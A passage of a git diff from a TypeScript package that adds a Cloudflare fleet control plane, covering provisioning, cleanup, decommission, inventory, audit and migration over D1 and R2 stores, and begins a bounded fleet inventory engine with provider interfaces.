+      const errorStatus = readErrorFieldSafely(error, 'status');
+      if (typeof errorStatus === 'number') httpStatus = errorStatus;
+      const name = sanitizedErrorName(error);
+      throw new Error(
+        `${safeDetail ? `${safeDetail}: ` : ''}D1 export for '${databaseId}' failed after ${pollCount} poll(s)${
+          providerStatusError ? " with provider status 'error'" : ''
+        }${httpStatus === undefined ? '' : ` with HTTP ${httpStatus}`}`,
+        { cause: { name } },
+      );
     }
-    throw new Error(
-      `D1 export for '${databaseId}' did not complete within two minutes`,
-    );
   }
 
   async deleteDatabase(databaseId: string): Promise<void> {
diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts
new file mode 100644
index 00000000..35d1eb9c
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-control-plane.ts
@@ -0,0 +1,632 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { D1Database } from '@cloudflare/workers-types';
+import type { AttestConvergedActiveRouteOptions } from './active-route.js';
+import {
+  advanceCleanupDeployment,
+  type CleanupAdvanceAction,
+  type CleanupAdvanceResult,
+} from './cleanup-advance.js';
+import { CloudflareApiPlainWorkerBackend } from './cloudflare-api-plain-worker-backend.js';
+import {
+  CloudflareProvisioningClient,
+  cloudflareFleetInventoryContext,
+} from './cloudflare-client.js';
+import { D1CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js';
+import { D1FleetInventoryRunStore } from './d1-fleet-inventory-run-store.js';
+import { D1FleetOperationStore } from './d1-fleet-operation-store.js';
+import { D1FleetStateDatabase } from './d1-fleet-state-database.js';
+import {
+  advanceDecommissionDeployment,
+  type DecommissionAdvanceAction,
+  type DecommissionAdvanceResult,
+} from './decommission-advance.js';
+import {
+  abandonFleetAuditOperation,
+  advanceFleetAudit,
+  type FleetAuditAdvanceAction,
+  type FleetAuditAdvanceResult,
+  type FleetAuditFindingsPage,
+  readFleetAuditFindingsPage,
+} from './fleet-audit-advance.js';
+import {
+  advanceFleetInventory,
+  type FleetInventoryAdvanceResult,
+  readFleetInventoryGeneration,
+} from './fleet-inventory-advance.js';
+import type { FleetInventoryGenerationRef } from './fleet-inventory-state.js';
+import {
+  abandonFleetMigrationOperation,
+  advanceFleetMigration,
+  type FleetMigrationAdvanceAction,
+  type FleetMigrationAdvanceResult,
+  type FleetMigrationResultRef,
+  readFleetMigrationItemsPage,
+} from './fleet-migration-advance.js';
+import type { FleetMigrationItem } from './fleet-migration-state.js';
+import type { FleetOperationKind } from './fleet-operation-state.js';
+import { provisionDeployment } from './provision.js';
+import {
+  R2DatabaseExportStore,
+  type R2DatabaseExportStoreOptions,
+} from './r2-export-store.js';
+import { D1FleetStateStore } from './state-store.js';
+import type {
+  CleanupTerminalReceipt,
+  DeploymentSecrets,
+  DeploymentSpec,
+  FleetRecord,
+  FleetResourceInventory,
+  FleetSettlementHost,
+  InitialExecutionFenceState,
+  ProvisioningResult,
+} from './types.js';
+
+export { ActiveRouteAttestationError } from './active-route.js';
+export {
+  type CleanupAdvanceCapability,
+  CleanupAdvanceCapabilityError,
+  CleanupAdvanceRestartError,
+} from './cleanup-advance.js';
+export {
+  CleanupAdvanceTokenDeploymentError,
+  CleanupAdvanceTokenError,
+  CleanupAdvanceTokenFutureError,
+  CleanupAdvanceTokenOperationError,
+} from './cleanup-intent.js';
+export {
+  type CloudflareApiRateCoordinator,
+  D1CloudflareApiRateCoordinator,
+  type D1CloudflareApiRateCoordinatorOptions,
+} from './cloudflare-rate-coordinator.js';
+export { D1FleetStateDatabase } from './d1-fleet-state-database.js';
+export type { DurableDatabaseExportStore } from './database-export-store.js';
+export {
+  type DecommissionAdvanceCapability,
+  DecommissionAdvanceCapabilityError,
+  DecommissionAdvanceRestartError,
+} from './decommission-advance.js';
+export {
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenError,
+  DecommissionAdvanceTokenFutureError,
+  DecommissionAdvanceTokenOperationError,
+} from './decommission-intent.js';
+export { WorkerDeploymentError } from './deployment-error.js';
+export type { DriftFinding } from './fleet.js';
+export {
+  type FleetAuditAdvanceCapability,
+  FleetAuditAdvanceCapabilityError,
+  type FleetAuditResultRef,
+} from './fleet-audit-advance.js';
+export type { FleetAuditStage } from './fleet-audit-state.js';
+export {
+  type FleetInventoryAdvanceCapability,
+  FleetInventoryAdvanceCapabilityError,
+} from './fleet-inventory-advance.js';
+export {
+  FleetInventoryFindingValueError,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunToken,
+  FleetInventoryRunTokenError,
+  FleetInventoryRunTokenFutureError,
+  FleetInventoryRunTokenOperationError,
+  FleetInventoryStateError,
+} from './fleet-inventory-state.js';
+export {
+  FleetMigrationAdvanceCapabilityError,
+  type FleetMigrationResultRef,
+} from './fleet-migration-advance.js';
+export type {
+  FleetMigrationPlanEntry,
+  FleetMigrationStep,
+} from './fleet-migration-state.js';
+export {
+  type FleetOperationFailure,
+  FleetOperationStateError,
+  FleetOperationStoreCapabilityError,
+  type FleetOperationToken,
+  FleetOperationTokenError,
+  FleetOperationTokenFutureError,
+  FleetOperationTokenKindError,
+  FleetOperationTokenOperationError,
+} from './fleet-operation-state.js';
+export type { HostRoutingTarget } from './host-routing.js';
+export { ProvisioningError } from './provision.js';
+export {
+  type DigestStreamConstructor,
+  type FixedLengthStreamConstructor,
+  R2DatabaseExportStore,
+  type R2DatabaseExportStoreStreamPrimitives,
+} from './r2-export-store.js';
+export { generateDeploymentSecrets } from './secrets.js';
+export { deploymentSpecDigest } from './spec-digest.js';
+export type { FleetStateDatabase } from './state-store.js';
+export type {
+  ActiveRouteAttestation,
+  ApplicationBindingTopology,
+  ApplicationR2Binding,
+  ApplicationR2Resource,
+  BackendSwitchApplicationR2Progress,
+  BackendSwitchCandidateSnapshot,
+  BackendSwitchDecommissionRelease,
+  BackendSwitchDecommissionRouteTarget,
+  BackendSwitchDecommissionSnapshot,
+  BackendSwitchIntent,
+  BackendSwitchSubphase,
+  BridgeMutationPlan,
+  BridgeSnapshot,
+  CleanupAdvanceIntent,
+  CleanupAdvanceState,
+  CleanupAdvanceToken,
+  CleanupAttachmentProgress,
+  CleanupAttachmentPurpose,
+  CleanupAttachmentScan,
+  CleanupAuthority,
+  CleanupReceiptEvidence,
+  D1Migration,
+  DatabaseExport,
+  DatabaseExportIntegrity,
+  DatabaseExportReceiptIdentity,
+  DecommissionAdvanceIntent,
+  DecommissionAdvanceToken,
+  DecommissionAttachmentProgress,
+  DecommissionAttachmentPurpose,
+  DecommissionAttachmentScanEvidence,
+  DecommissionBlockedAttachment,
+  DecommissionIntentCommon,
+  DecommissionOperationIdentity,
+  DecommissionOperationMode,
+  DecommissionRecordIdentity,
+  DecommissionResult,
+  DeploymentApplicationBindings,
+  DeploymentEgressPolicy,
+  DurableObjectBindingInventory,
+  DurableObjectMigration,
+  ExternalMigrationIntent,
+  ExternalMigrationSubphase,
+  ExternalPlatformResources,
+  ExternalPlatformTargetDescription,
+  ExternalReleaseSnapshot,
+  ExternalReleaseTopology,
+  FleetInventoryDeployment,
+  FleetInventoryFinding,
+  FleetInventoryR2Jurisdiction,
+  FleetSettlementContext,
+  FleetSettlementEntry,
+  InvocationAuthorityCarrier,
+  MaintenanceHealth,
+  NormalDecommissionLifecyclePhase,
+  ObservedActiveRoute,
+  PlainBackendSnapshot,
+  PlatformWorkerSnapshot,
+  ProvisioningBackendKind,
+  ProvisioningPhase,
+  R2Jurisdiction,
+  WorkerModule,
+  WorkerZoneRoute,
+} from './types.js';
+export type {
+  AttestConvergedActiveRouteOptions,
+  CleanupAdvanceAction,
+  CleanupAdvanceResult,
+  CleanupTerminalReceipt,
+  DecommissionAdvanceAction,
+  DecommissionAdvanceResult,
+  DeploymentSecrets,
+  DeploymentSpec,
+  FleetAuditAdvanceAction,
+  FleetAuditAdvanceResult,
+  FleetAuditFindingsPage,
+  FleetInventoryAdvanceResult,
+  FleetInventoryGenerationRef,
+  FleetMigrationAdvanceAction,
+  FleetMigrationAdvanceResult,
+  FleetMigrationItem,
+  FleetOperationKind,
+  FleetRecord,
+  FleetResourceInventory,
+  FleetSettlementHost,
+  InitialExecutionFenceState,
+  ProvisioningResult,
+  R2DatabaseExportStoreOptions,
+};
+
+export interface CloudflareControlPlaneOptions {
+  readonly accountId: string;
+  readonly apiToken: string;
+  readonly fleetDatabase: D1Database;
+  readonly quotaDatabase: D1Database;
+  readonly quotaScope: string;
+  readonly databaseExports: R2DatabaseExportStoreOptions;
+  readonly leaseTtlMs?: number;
+  readonly leaseRenewalIntervalMs?: number;
+  readonly concurrency?: number;
+  readonly requestTimeoutMs?: number;
+  readonly fetch?: typeof fetch;
+  readonly maintenanceFetch?: typeof fetch;
+  readonly maintenanceRequestTimeoutMs?: number;
+  readonly clock?: () => number;
+  readonly randomUUID?: () => string;
+}
+
+export type CloudflareDeploymentSpec = Omit<
+  DeploymentSpec,
+  'authoredBy' | 'durableObjectBindings'
+> & {
+  readonly authoredBy: 'platform';
+  readonly durableObjectBindings: readonly Readonly<{
+    name: string;
+    className: string;
+    scriptName?: string;
+  }>[];
+};
+
+export interface CloudflareProvisionDeploymentOptions {
+  readonly spec: CloudflareDeploymentSpec;
+  readonly secrets: DeploymentSecrets;
+  readonly initialExecutionFenceState: InitialExecutionFenceState;
+  readonly routeAttestation?: AttestConvergedActiveRouteOptions;
+  readonly clock?: () => number;
+}
+
+export interface CloudflareAdvanceCleanupDeploymentOptions {
+  readonly spec: CloudflareDeploymentSpec;
+  readonly action: CleanupAdvanceAction;
+  readonly maxProviderRequests: number;
+  readonly signal?: AbortSignal;
+  readonly clock?: () => number;
+}
+
+export interface CloudflareAdvanceDecommissionDeploymentOptions {
+  readonly spec: CloudflareDeploymentSpec;
+  readonly action: DecommissionAdvanceAction;
+  readonly maxProviderRequests: number;
+  readonly signal?: AbortSignal;
+  readonly clock?: () => number;
+}
+
+export interface CloudflareFleetInventoryOptions {
+  readonly databaseNamePrefix: string;
+  readonly scriptNamePrefix: string;
+  readonly includeR2Buckets?: boolean;
+}
+
+export type CloudflareFleetInventoryAdvanceAction =
+  | Readonly<{
+      kind: 'start';
+      operationId: string;
+      options: CloudflareFleetInventoryOptions;
+    }>
+  | Readonly<{ kind: 'continue'; token: unknown }>;
+
+export interface CloudflareAdvanceFleetInventoryOptions {
+  readonly action: CloudflareFleetInventoryAdvanceAction;
+  readonly maxProviderRequests: number;
+  readonly maxStagedRowsPerChunk?: number;
+  readonly signal?: AbortSignal;
+}
+
+export interface CloudflareAdvanceFleetAuditOptions {
+  readonly action: FleetAuditAdvanceAction;
+  readonly specFor: (record: FleetRecord) => CloudflareDeploymentSpec;
+  readonly maintenanceSecretFor: (record: FleetRecord) => string;
+  readonly maxItemsPerCall?: number;
+  readonly auditClock?: () => number;
+  readonly authorityClock?: () => number;
+  readonly signal?: AbortSignal;
+}
+
+export interface CloudflareAdvanceFleetMigrationOptions {
+  readonly action: FleetMigrationAdvanceAction;
+  readonly specFor: (record: FleetRecord) => CloudflareDeploymentSpec;
+  readonly secretsFor: (record: FleetRecord) => DeploymentSecrets;
+  readonly settlementFor?: (
+    record: FleetRecord,
+  ) => FleetSettlementHost | undefined;
+  readonly routeAttestation?: AttestConvergedActiveRouteOptions;
+  readonly clock?: () => number;
+  readonly signal?: AbortSignal;
+  /**
+   * Carries the delivery contract of
+   * {@link index!AdvanceFleetMigrationOptions.onComplete |
+   * AdvanceFleetMigrationOptions.onComplete}.
+   */
+  readonly onComplete?: (
+    result: FleetMigrationResultRef,
+  ) => void | Promise<void>;
+}
+
+export interface CloudflareFleetOperationPageOptions {
+  readonly operationId: string;
+  readonly afterOrdinal?: number;
+  readonly limit: number;
+}
+
+export interface CloudflareFleetMigrationItemsPage {
+  readonly items: readonly FleetMigrationItem[];
+  readonly done: boolean;
+}
+
+export interface CloudflareControlPlane {
+  provisionDeployment(
+    options: CloudflareProvisionDeploymentOptions,
+  ): Promise<ProvisioningResult>;
+  advanceCleanupDeployment(
+    options: CloudflareAdvanceCleanupDeploymentOptions,
+  ): Promise<CleanupAdvanceResult>;
+  advanceDecommissionDeployment(
+    options: CloudflareAdvanceDecommissionDeploymentOptions,
+  ): Promise<DecommissionAdvanceResult>;
+  advanceFleetInventory(
+    options: CloudflareAdvanceFleetInventoryOptions,
+  ): Promise<FleetInventoryAdvanceResult>;
+  readFleetInventoryGeneration(
+    generation: number,
+  ): Promise<FleetResourceInventory>;
+  latestFinalizedInventoryGeneration(): Promise<
+    FleetInventoryGenerationRef | undefined
+  >;
+  advanceFleetAudit(
+    options: CloudflareAdvanceFleetAuditOptions,
+  ): Promise<FleetAuditAdvanceResult>;
+  readFleetAuditFindingsPage(
+    options: CloudflareFleetOperationPageOptions,
+  ): Promise<FleetAuditFindingsPage>;
+  abandonFleetAuditOperation(operationId: string): Promise<void>;
+  advanceFleetMigration(
+    options: CloudflareAdvanceFleetMigrationOptions,
+  ): Promise<FleetMigrationAdvanceResult>;
+  readFleetMigrationItemsPage(
+    options: CloudflareFleetOperationPageOptions,
+  ): Promise<CloudflareFleetMigrationItemsPage>;
+  abandonFleetMigrationOperation(operationId: string): Promise<void>;
+  getDeployment(
+    tenantTag: string,
+    environment: string,
+  ): Promise<FleetRecord | undefined>;
+  readCleanupReceipt(
+    operationId: string,
+  ): Promise<CleanupTerminalReceipt | undefined>;
+  pruneCleanupReceipts(
+    input: Readonly<{ completedBeforeMs: number; limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>>;
+  pruneInventoryGenerations(
+    input: Readonly<{ limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>>;
+  pruneFleetOperations(
+    input: Readonly<{ kind: FleetOperationKind; limit: number }>,
+  ): Promise<Readonly<{ deleted: number; releasedPins: number }>>;
+}
+
+function ordinarySpec(spec: DeploymentSpec): CloudflareDeploymentSpec {
+  if (spec.authoredBy !== 'platform') {
+    throw new TypeError(
+      'Cloudflare control plane requires platform-authored specifications',
+    );
+  }
+  for (const binding of spec.durableObjectBindings) {
+    if (binding.dispatchNamespace !== undefined) {
+      throw new TypeError(
+        'Cloudflare control plane cannot use dispatch namespace bindings',
+      );
+    }
+  }
+  return spec as CloudflareDeploymentSpec;
+}
+
+export function createCloudflareControlPlane(
+  options: CloudflareControlPlaneOptions,
+): CloudflareControlPlane {
+  const {
+    accountId,
+    apiToken,
+    fleetDatabase,
+    quotaDatabase,
+    quotaScope,
+    databaseExports,
+    leaseTtlMs,
+    leaseRenewalIntervalMs,
+    concurrency,
+    requestTimeoutMs,
+    fetch: providerFetch,
+    maintenanceFetch,
+    maintenanceRequestTimeoutMs,
+  } = options;
+  const clock = options.clock?.bind(options);
+  const randomUUID =
+    options.randomUUID?.bind(options) ?? (() => crypto.randomUUID());
+  const database = new D1FleetStateDatabase(fleetDatabase);
+  const storeOptions = { accountId, leaseTtlMs, leaseRenewalIntervalMs };
+  const fleetStore = new D1FleetStateStore(database, storeOptions);
+  const inventoryStore = new D1FleetInventoryRunStore(database, storeOptions);
+  const operationStore = new D1FleetOperationStore(database, {
+    accountId,
+    leaseTtlMs,
+    leaseRenewalIntervalMs,
+    inventoryStore,
+  });
+  const rateCoordinator = new D1CloudflareApiRateCoordinator(quotaDatabase, {
+    quotaScope,
+  });
+  const exportStore = new R2DatabaseExportStore(databaseExports);
+  const client = new CloudflareProvisioningClient({
+    accountId,
+    apiToken,
+    plane: 'plain-worker',
+    rateCoordinator,
+    exportStore,
+    concurrency,
+    requestTimeoutMs,
+    fetch: providerFetch,
+  });
+  const backend = new CloudflareApiPlainWorkerBackend({
+    client,
+    fetch: maintenanceFetch,
+    maintenanceRequestTimeoutMs,
+    clock,
+  });
+  const backendFor = (record: FleetRecord): CloudflareApiPlainWorkerBackend => {
+    if (record.backend !== 'plain-worker') {
+      throw new TypeError(
+        'Cloudflare control plane requires plain-worker records',
+      );
+    }
+    return backend;
+  };
+
+  return Object.freeze({
+    async provisionDeployment(input: CloudflareProvisionDeploymentOptions) {
+      return provisionDeployment({
+        backend,
+        store: fleetStore,
+        spec: ordinarySpec(input.spec),
+        secrets: input.secrets,
+        initialExecutionFenceState: input.initialExecutionFenceState,
+        routeAttestation: input.routeAttestation,
+        failureCleanup: 'bounded',
+        clock: input.clock?.bind(input),
+      });
+    },
+    async advanceCleanupDeployment(
+      input: CloudflareAdvanceCleanupDeploymentOptions,
+    ) {
+      return advanceCleanupDeployment({
+        backend,
+        store: fleetStore,
+        spec: ordinarySpec(input.spec),
+        action: input.action,
+        maxProviderRequests: input.maxProviderRequests,
+        signal: input.signal,
+        clock: input.clock?.bind(input),
+        randomUUID,
+      });
+    },
+    async advanceDecommissionDeployment(
+      input: CloudflareAdvanceDecommissionDeploymentOptions,
+    ) {
+      return advanceDecommissionDeployment({
+        backend,
+        store: fleetStore,
+        spec: ordinarySpec(input.spec),
+        action: input.action,
+        maxProviderRequests: input.maxProviderRequests,
+        signal: input.signal,
+        clock: input.clock?.bind(input),
+        randomUUID,
+      });
+    },
+    async advanceFleetInventory(input: CloudflareAdvanceFleetInventoryOptions) {
+      const context = cloudflareFleetInventoryContext(client);
+      const action = input.action;
+      return advanceFleetInventory({
+        context: {
+          async advanceStage(stageInput) {
+            if (
+              stageInput.options.includeDispatchNamespace ||
+              stageInput.options.hostRoutingKvId !== undefined
+            ) {
+              throw new TypeError(
+                'Cloudflare control plane cannot advance dispatch or host-routing inventory',
+              );
+            }
+            return context.advanceStage(stageInput);
+          },
+        },
+        store: inventoryStore,
+        action:
+          action.kind === 'start'
+            ? {
+                kind: 'start',
+                operationId: action.operationId,
+                options: {
+                  databaseNamePrefix: action.options.databaseNamePrefix,
+                  scriptNamePrefix: action.options.scriptNamePrefix,
+                  includeR2Buckets: action.options.includeR2Buckets,
+                  includeDispatchNamespace: false,
+                },
+              }
+            : { kind: action.kind, token: action.token },
+        maxProviderRequests: input.maxProviderRequests,
+        maxStagedRowsPerChunk: input.maxStagedRowsPerChunk,
+        signal: input.signal,
+      });
+    },
+    readFleetInventoryGeneration: (generation: number) =>
+      readFleetInventoryGeneration(inventoryStore, generation),
+    latestFinalizedInventoryGeneration: () =>
+      inventoryStore.latestFinalizedGeneration(),
+    async advanceFleetAudit(input: CloudflareAdvanceFleetAuditOptions) {
+      const specFor = input.specFor.bind(input);
+      return advanceFleetAudit({
+        operationStore,
+        inventoryStore,
+        fleetStore,
+        backendFor,
+        specFor: (record) => ordinarySpec(specFor(record)),
+        maintenanceSecretFor: input.maintenanceSecretFor.bind(input),
+        action: input.action,
+        maxItemsPerCall: input.maxItemsPerCall,
+        auditClock: input.auditClock?.bind(input),
+        authorityClock: input.authorityClock?.bind(input),
+        signal: input.signal,
+      });
+    },
+    readFleetAuditFindingsPage: (input: CloudflareFleetOperationPageOptions) =>
+      readFleetAuditFindingsPage(operationStore, {
+        operationId: input.operationId,
+        afterOrdinal: input.afterOrdinal,
+        limit: input.limit,
+      }),
+    abandonFleetAuditOperation: (operationId: string) =>
+      abandonFleetAuditOperation({
+        operationStore,
+        inventoryStore,
+        operationId,
+      }),
+    async advanceFleetMigration(input: CloudflareAdvanceFleetMigrationOptions) {
+      const specFor = input.specFor.bind(input);
+      return advanceFleetMigration({
+        operationStore,
+        fleetStore,
+        backendFor,
+        specFor: (record) => ordinarySpec(specFor(record)),
+        secretsFor: input.secretsFor.bind(input),
+        settlementFor: input.settlementFor?.bind(input),
+        action: input.action,
+        routeAttestation: input.routeAttestation,
+        clock: input.clock?.bind(input),
+        signal: input.signal,
+        onComplete: input.onComplete?.bind(input),
+      });
+    },
+    readFleetMigrationItemsPage: (input: CloudflareFleetOperationPageOptions) =>
+      readFleetMigrationItemsPage(operationStore, {
+        operationId: input.operationId,
+        afterOrdinal: input.afterOrdinal,
+        limit: input.limit,
+      }),
+    abandonFleetMigrationOperation: (operationId: string) =>
+      abandonFleetMigrationOperation({ operationStore, operationId }),
+    getDeployment: (tenantTag: string, environment: string) =>
+      fleetStore.get(tenantTag, environment),
+    readCleanupReceipt: (operationId: string) =>
+      fleetStore.readCleanupReceipt(operationId),
+    pruneCleanupReceipts: (
+      input: Readonly<{ completedBeforeMs: number; limit: number }>,
+    ) =>
+      fleetStore.pruneCleanupReceipts({
+        completedBeforeMs: input.completedBeforeMs,
+        limit: input.limit,
+      }),
+    pruneInventoryGenerations: (input: Readonly<{ limit: number }>) =>
+      inventoryStore.pruneInventoryGenerations({ limit: input.limit }),
+    pruneFleetOperations: (
+      input: Readonly<{ kind: FleetOperationKind; limit: number }>,
+    ) =>
+      operationStore.pruneFleetOperations({
+        kind: input.kind,
+        limit: input.limit,
+      }),
+  });
+}
diff --git a/packages/fleet-control/src/cloudflare-fleet-inventory.ts b/packages/fleet-control/src/cloudflare-fleet-inventory.ts
new file mode 100644
index 00000000..75b2c044
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+++ b/packages/fleet-control/src/cloudflare-fleet-inventory.ts
@@ -0,0 +1,2116 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import {
+  CLOUDFLARE_INVENTORY_BOUND,
+  inventoryBoundExceeded,
+} from './cloudflare-client-config.js';
+import { MAX_DATABASE_INVENTORY } from './cloudflare-ordinary-worker-operations.js';
+import { isR2JurisdictionAccessRefusal } from './cloudflare-provider-errors.js';
+import {
+  type CloudflareWorkerAttachmentScanContext,
+  listDispatchScriptPage,
+} from './cloudflare-worker-attachment-scan.js';
+// The 9..1,000 provider-request contract and its refusal bytes are shared with
+// the attachment scanner; duplicating the message would let the two drift.
+import { assertWorkerAttachmentProviderRequestBudget } from './cloudflare-worker-attachment-scan-state.js';
+import {
+  assertInventoryFindingValue,
+  assertNoCredentialInInventoryText,
+  type FleetInventoryDeploymentFactKind,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunOptions,
+  type FleetInventoryStage,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  type FleetInventoryStageInput,
+  type FleetInventoryStageResult,
+  type FleetInventoryStageStep,
+  fleetInventoryStageFromUnknown,
+  fleetInventoryStageKey,
+  isInventoryKeyNameShape,
+  nextStage,
+} from './fleet-inventory-state.js';
+import {
+  type HostRoutingTarget,
+  parseHostRoutingTarget,
+} from './host-routing.js';
+import { canonicalDeploymentEgressPolicy } from './platform-resources.js';
+import {
+  type FleetInventoryFinding,
+  type FleetInventoryR2Jurisdiction,
+  R2_JURISDICTIONS,
+  type WorkerZoneRoute,
+} from './types.js';
+
+/**
+ * The registry key prefix and fleet tag are private to the Cloudflare client
+ * today. The engine must not import the client (the one-way layer rule), so it
+ * carries the same two literals; a byte change in either place is a behavior
+ * change that the golden drain baseline catches.
+ */
+const SCRIPT_INVENTORY_PREFIX = '__anchorage_script__:';
+const FLEET_SCRIPT_TAG = 'fleet:anchorage';
+const DISPATCH_PAGE_SIZE = 1_000;
+const DISPATCH_PAGE_BOUND = 100;
+const R2_PAGE_SIZE = 1_000;
+const NON_ASCII = /[^\p{ASCII}]/u;
+
+/** The frozen finding vocabulary every staged finding row must name. */
+type FleetInventoryFindingKind = FleetInventoryFinding['kind'];
+
+/** A provider binding as the account API returns it. */
+export interface FleetInventoryProviderBinding {
+  readonly type?: string;
+  readonly name?: string;
+  readonly text?: string;
+  readonly database_id?: string;
+  readonly namespace_id?: string;
+  readonly class_name?: string;
+  readonly script_name?: string;
+  readonly dispatch_namespace?: string;
+  readonly service?: string;
+  readonly entrypoint?: string;
+  readonly queue_name?: string;
+  readonly bucket_name?: string;
+}
+
+/** One page of host-routing KV key names. */
+export interface FleetInventoryKeyPage {
+  readonly keys: readonly Readonly<{ name?: string }>[];
+  readonly cursor?: string;
+}
+
+/** One page of Worker custom domains. */
+export interface FleetInventoryDomainPage {
+  readonly domains: readonly Readonly<{ hostname: string; service: string }>[];
+  readonly cursor?: string;
+}
+
+/** One page of Worker zone routes for a single zone. */
+export interface FleetInventoryZoneRoutePage {
+  readonly routes: readonly Readonly<{
+    id?: string;
+    pattern?: string;
+    script?: string;
+  }>[];
+  readonly cursor?: string;
+}
+
+/** One page of ordinary Worker scripts. */
+export interface FleetInventoryScriptPage {
+  readonly scripts: readonly Readonly<{ id?: string }>[];
+  readonly cursor?: string;
+}
+
+/** One page of D1 databases. */
+export interface FleetInventoryDatabasePage {
+  readonly databases: readonly Readonly<{ uuid?: string; name?: string }>[];
+  readonly cursor?: string;
+}
+
+/** One page of Durable Object namespaces. */
+export interface FleetInventoryNamespacePage {
+  readonly namespaces: readonly Readonly<{ id?: string; script?: string }>[];
+  readonly cursor?: string;
+}
+
+/** One page of R2 buckets inside one jurisdiction. */
+export interface FleetInventoryBucketPage {
+  readonly buckets: readonly Readonly<{
+    name?: string;
+    jurisdiction?: string;
+    creation_date?: string;
+  }>[];
+}
+
+/** Dispatch namespace attestation fields, as the provider returns them. */
+export interface FleetInventoryDispatchNamespace {
+  readonly namespace_name?: string;
+  readonly namespace_id?: string;
+  readonly trusted_workers?: boolean;
+  readonly script_count?: number;
+}
+
+/** Live dispatch Worker inspection, mirroring `inspectDispatchWorker`. */
+export interface FleetInventoryDispatchWorker {
+  readonly artifactVersion: string;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly schemaVersion: number;
+  readonly desiredSpecDigest: string;
+  readonly databaseIds: readonly string[];
+  readonly durableObjectBindings: readonly Readonly<{
+    name: string;
+    className: string;
+    namespaceId: string;
+    scriptName?: string;
+    dispatchNamespace?: string;
+  }>[];
+  readonly serviceBindings: readonly Readonly<{
+    name: string;
+    service: string;
+    entrypoint?: string;
+  }>[];
+  readonly queueProducerBindings: readonly Readonly<{
+    name: string;
+    queueName: string;
+  }>[];
+  readonly r2BucketBindings: readonly Readonly<{
+    name: string;
+    bucketName: string;
+    jurisdiction: string;
+  }>[];
+  readonly secretNames: readonly string[];
+  readonly plainTextBindings: Readonly<Record<string, string>>;
+}
+
+/**
+ * One ordinary Worker's active artifact. The dependency resolves the exact
+ * active version and refuses unsupported bindings, exactly as the single-pass
+ * drain does inside its per-script `try`, so a refusal becomes the
+ * `incomplete-deployment` finding rather than aborting the run.
+ */
+export interface FleetInventoryOrdinaryScriptDetail {
+  readonly artifactVersion: string;
+  readonly bindings: readonly FleetInventoryProviderBinding[];
+  readonly subdomainEnabled: boolean;
+  readonly previewsEnabled: boolean;
+  readonly secretNames: readonly string[];
+}
+
+/**
+ * The narrow provider seam the bounded inventory engine drives. Each member is
+ * one provider operation and is charged one request against
+ * `maxProviderRequests`; composite members issue their own inner calls exactly
+ * as the single-pass drain does.
+ *
+ * A bounded chunk receives no staged rows, so a stage that needs an earlier
+ * stage's provider data re-reads it through these members. Implementations MAY
+ * memoize a listing for the lifetime of one in-memory drain, which is how the
+ * drain keeps today's request sequence.
+ */
+export interface CloudflareFleetInventoryDeps {
+  /**
+   * Context for the reused `listDispatchScriptPage`; the engine never
+   * duplicates dispatch pagination. Stage: `dispatch-pages` (and the
+   * re-reads in `registration-checks`/`registration-postprocess`).
+   */
+  readonly attachmentScan: CloudflareWorkerAttachmentScanContext;
+  /**
+   * Configured dispatch namespace, refusing with today's plane-capability
+   * error when absent. Stages: `dispatch-pages`,
+   * `registration-postprocess`.
+   */
+  dispatchNamespace(): string;
+  /**
+   * True for the plane-capability refusal, which
+   * `registration-checks` rethrows instead of recording a finding.
+   */
+  isDispatchCapabilityError(error: unknown): boolean;
+  /** Stages: `host-kv-keys`, `host-kv-values` (key re-read). */
+  listHostRoutingKeys(
+    input: Readonly<{
+      namespaceId: string;
+      cursor?: string;
+      signal?: AbortSignal;
+    }>,
+  ): Promise<FleetInventoryKeyPage>;
+  /** Stage: `host-kv-values`. The dependency applies today's key casing. */
+  readHostRoutingValue(
+    input: Readonly<{
+      namespaceId: string;
+      keyName: string;
+      signal?: AbortSignal;
+    }>,
+  ): Promise<string | undefined>;
+  /** Stage: `registration-checks`. */
+  inspectDispatchWorker(
+    input: Readonly<{ scriptName: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryDispatchWorker | undefined>;
+  /** Stage: `registration-postprocess`. */
+  getDispatchNamespace(
+    input: Readonly<{ namespace: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryDispatchNamespace>;
+  /**
+   * Stages: `custom-domains`, `ordinary-script-detail` (route hostnames),
+   * `route-claims`.
+   */
+  listCustomDomains(
+    input: Readonly<{ cursor?: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryDomainPage>;
+  /**
+   * Token verification plus account-wide zone discovery. Stages:
+   * `zone-authority`, `zone-routes`, `ordinary-script-detail`,
+   * `route-claims`.
+   */
+  listWorkerRouteZoneIds(
+    input: Readonly<{ signal?: AbortSignal }>,
+  ): Promise<readonly string[]>;
+  /**
+   * Stages: `zone-routes`, `ordinary-script-detail`, `route-claims`.
+   */
+  listZoneRoutes(
+    input: Readonly<{ zoneId: string; cursor?: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryZoneRoutePage>;
+  /** Stages: `ordinary-scripts`, `ordinary-script-detail`, `route-claims`. */
+  listOrdinaryScripts(
+    input: Readonly<{ cursor?: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryScriptPage>;
+  /** Stages: `ordinary-script-detail`, `route-claims` (plain identities). */
+  readOrdinaryScriptDetail(
+    input: Readonly<{ scriptName: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryOrdinaryScriptDetail>;
+  /** Stage: `d1-databases`. */
+  listDatabases(
+    input: Readonly<{ cursor?: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryDatabasePage>;
+  /** Stage: `do-namespaces`. */
+  listDurableObjectNamespaces(
+    input: Readonly<{ cursor?: string; signal?: AbortSignal }>,
+  ): Promise<FleetInventoryNamespacePage>;
+  /** Stage: `r2-buckets`. */
+  listR2Buckets(
+    input: Readonly<{
